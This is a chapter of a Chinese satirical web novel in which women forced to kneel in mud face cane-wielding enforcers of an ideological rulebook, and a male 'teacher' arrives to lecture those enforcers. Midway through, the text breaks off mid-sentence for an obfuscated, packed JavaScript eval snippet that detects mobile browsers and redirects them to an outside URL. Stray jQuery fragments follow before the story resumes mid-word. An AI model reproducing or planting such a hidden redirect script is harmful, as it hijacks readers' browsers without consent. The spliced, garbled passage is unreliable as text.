8. 自燃男

作品:《末日规则大逃杀

    自燃女的嘴唇抖得更厉害了。不是愤怒,是一种江冉冉很熟悉的东西——她以前在自己身上见过,在无数个被规则怪谈反复审判的日夜之后,在镜子前看见的那个表情。那是一个人发现自己信仰的那套东西根本站不住脚时的崩塌前兆。


    但崩塌只持续了三秒。


    “矫枉必须过正!允许行动落后于思想!!!”


    它喊出这句话的时候,声音里的慌张消失了,取而代之的是一种近乎狂热的坚定。它的眼睛亮起来,像是一个溺水的人终于抓到了一根浮木。


    “你懂什么?我化妆,我做美甲,我追男明星。但我掌握舆论言论!我为女人争取不化妆的自由!我嘴上涂着唇蜜,但我站队批判服美役!我戴耳钉,但我告诉别的女人不要被审美绑架!这叫矫枉过正!不激进一点怎么改变这个男权社会?等所有人都觉醒了,等父权制被推翻了,我自然就不化妆了!但在那之前,我哪怕化了妆,也必须站在阵地上!”


    它说这段话的时候,胸膛剧烈起伏,镭射指甲在空中划来划去,每划一下都变一个颜色。运动鞋在泥地里跺了一下,荧光粉的鞋带跳起来又落下去。


    江冉冉看着它,忽然觉得很累。


    “你多大了?”江冉冉突然问。


    自燃女愣了一下,没想到她会突然问这个。


    “关你什么事!”


    “十五?十六?”


    “十七!”自燃女下意识地纠正,然后立刻后悔了,嘴唇抿成一条线。


    江冉冉点了点头。十七岁。高二的年纪。在另一个世界里,这个年纪的女孩子应该在为数学题发愁,在偷偷攒钱买第一条项链,在镜子前练习涂口红然后擦掉,在微博上给喜欢的明星打榜,在深夜和闺蜜打电话聊到睡着。


    但在这里,这个自燃女却化着妆,做着美甲,戴着耳钉,骑在别的女人背上抽藤条,嘴里喊着“矫枉必须过正”。


    江冉冉笑了。


    “我承认,比厚颜无耻,你们赢了。”


    那自燃女的表情像是被人往嘴里塞了一整只苍蝇。


    它的规则册子不知道什么时候从袖子里滑了出来,封面朝下泡在一小洼泥水里:“爱女守则规范”几个字正在被泥浆慢慢吞没。


    “你们——”它猛地后退一步,弯腰从泥地里捞起那本册子,死死抱在怀里:“你们别以为这样就能动摇我!我为女人争取的是不化妆的自由!我化妆不代表什么!我是在替她们化妆!等以后所有女人都不用化妆了,我也就不化了!”


    “你不用替任何人化妆。”江冉冉说:“你想化就化,不想化就不化。不是为了批判,不是为了打入敌人内部,不是为了矫枉过正。就是因为你喜欢。你可以这样做,别人当然也有权利过自己想过的生活。”


    “我没有......”她的声音哑了,像一只被捏住了喉咙的鸟:“我没有喜欢。我这是为了——”


    “行。”江冉冉打断它:“你是为了矫枉过正。是为了打入敌人内部。”


    “西西。”她转头去找林西西。


    林西西正跪在不远处的泥地里,背上骑着的自燃女比江冉冉背上这个还胖一圈。她的脸上全是泥,眼泪冲出了两道白印子,嘴唇在发抖。


    她大概从来没有经历过这个,上一次规则怪谈降临的时候,江冉冉一个人扛的,林西西在现实世界里什么都不知道。


    这是她第一次被拖进来。


    “冉冉......”林西西的声音带着哭腔:“这到底是什么地方?那些是什么东西?我的海报都碎了——”


    “别怕。”江冉冉在泥地里艰难地朝她挪过去,背上自燃女骂了一句什么,她没理:“听我说,别跟它们顶嘴,也别认罪。就熬着。熬到它们换班,或者熬到有人来替。”


    “替?”


    “这个破地方的规则每天都在变。等新一批‘罪犯’被拖进来,它们的注意力就转移了。”


    林西西似懂非懂地点了点头,眼泪又掉了下来。她低头看着自己的膝盖。


    她穿的是短裤,膝盖直接跪在泥砂上,已经磨破了一层皮。


    “我的膝盖好疼......”


    江冉冉只能道:“下次记得穿长裤。”


    “习惯了就不疼了。”


    这句话不是江冉冉说的。


    声音从旁边传来,带着一点沙哑。刚才那个笑的女人不知道什么时候爬了回来,停在离她们几步远的地方。


    她背上的自燃女正在打瞌睡,大概是因为骑太久了,连审判者都会累——脑袋一点一点的,藤条松松垮垮地搭在手腕上。


    女人借着这个机会,从怀里掏出一对旧护膝,递给林西西。


    “垫在膝盖下面。会好一点。”


    林西西接过护膝,愣愣地看着她。


    “你......你为什么帮我?”


    “我刚才听见你朋友说的话了。她说得对,喜欢也是罪,讨厌也是罪,有罪没罪根本就不是我们说了算的。既然我们在这里都是罪人,那我们之间还有什么好分的?”


    林西西将那对护膝慢慢地绑在了膝盖上。确实让膝盖好受了一点点。


    江冉冉看着那个女人,忽然问:“你叫什么?”


    “方敏。在微博上骂了一个看不过眼的男明星,就被那个自燃女弄到这里来了。”她自报家门:“你呢?”


    “江冉冉。罪名比较多,最新的两条是父权语系罪和爱男罪。这是我朋友林西西,第一次进来,犯了引导她人爱男罪。”


    江冉冉还要再说些什么,突然之间,她听到了一个人的声音,愣在了原地。


    她愣住的原因不是别的,而是因为,那是个男人的声音!


    没有听错!确实是个男人的声音!


    规则怪谈不是不抓男人吗?为什么她能在这里听到男人的声音?


    江冉冉猛地转身,看到了一个男人。


    那个男人和自燃女们差不多的打扮,留着寸头,一身邋遢的灰衫,手里叼着根烟,一边说话,一边吞云吐雾。


    男人站在用灰白色的硬化泥壳垒成的高台上,一群自燃女围成半圈,面朝着男人的方向,像一群听课的学生。


    这男人不是被规则怪谈拖进来的外来者,看起来倒像是跟自燃女们一伙的,也许还可以管它叫自燃男。


    自燃男腆着肚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471528|201506||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子,硬壳包装的烟盒从它的其中一个口袋里探出一个角。它一只手插在口袋里,另一只手在空中比划着,正在说话。声音不高,但整片空地上的人都听得见。


    “我跟你们说,你们这套规则的底层逻辑是没问题的。”它的声音浑厚,隔地老远,江冉冉仿佛都能嗅到那自燃男嘴里的烟酒气:“但是执行层面太粗糙了。你们不能见人就抽,要有区分。哪些是可以教育的,哪些是必须清除的,哪些是可以争取的中间派。这个要分清楚。”


    围着它的自燃女们点着头。藤条垂在它们身侧,有的轻轻敲着掌心,像在思考着什么。


    “比如那个写小说的。”自燃男把手从口袋里抽出来,指了指空地上的某个方向——江冉冉不确定它指的是不是自己:“她的问题是什么?不是写了男军师。是她的叙事结构整体上还是在复制男性中心的权力逻辑。这个不是抽几藤条能解决的。这个要解构。要从她的话语体系里找到那个父权制的源代码,然后从内部爆破它。”


    自燃女们又点头。其中一个年纪稍长,大概三十出头,灰领口别着一枚木制的徽章的自燃女往前走了半步。“那您觉得应该怎么爆破?”


    自燃男看了它一眼,嘴角露出一丝很淡的笑意。那种笑意江冉冉在无数场合见过。讲座的提问环节,签售的互动时间,饭局上有人递话过来的时候。那是一个知道自己下一句话会被认真倾听的人,在开口之前的习惯性停顿。


    “从她的用词入手。”他说:“她小说里反复出现的意象是什么?是盔甲,是剑,是战马。这些都是什么?是阳.具象征。她把女性的力量外化成男性的符号,这就是她最深层的厌女。你们一直在跟她纠结男军师要不要删,那是表象。真正的病灶在这里。”


    自燃女们发出一阵低低的、恍然大悟的叹息声。那个戴着木徽章的自燃女转过头,朝台子下面喊了一声:“听到了吗?这才是正常人的想法!”


    它的声音里带着一种江冉冉从未在自燃女身上听到过的情绪。不是愤怒,不是冷漠,是一种崇拜的狂热、近乎撒娇的兴奋。像一个小学生在放学路上跟同学炫耀“我爸爸说的”。


    台下的自燃女们纷纷转过来,朝跪在泥地上的“敌方坐骑”们怒吼:


    “听到了吗!这才是正常人的想法!”


    “太好了,给我们自燃女们当家做主的男人终于来了!”


    “这个社会上其实有很大部分男性都是支持男女平等的,但当我们以男女两个群体来书写社会议题的时候,确实很容易误伤到那些尊重女性的男人。所以让周老师给我们说这些都是很有必要的。”


    甚至还有自燃女向男人鞠躬道歉:“周老师,我们一些媎妹们在支教那些坐骑们的时候,难免有些过激言论,如果不小心冒犯到了您,我们在这里表示抱歉。请您务必要将这些被抨击的对象和您本身区别开来。”


    自燃女们说完,手上藤条也开始指向了那些跪着的女人:指着一个因为看言情小说被拖进来的女孩,指着一个叫了“父母”被拖进来的中年女人,指着一个穿裙子被拖进来的大学生。


    “你们这些贱驴,思想觉悟连男人都比不上!”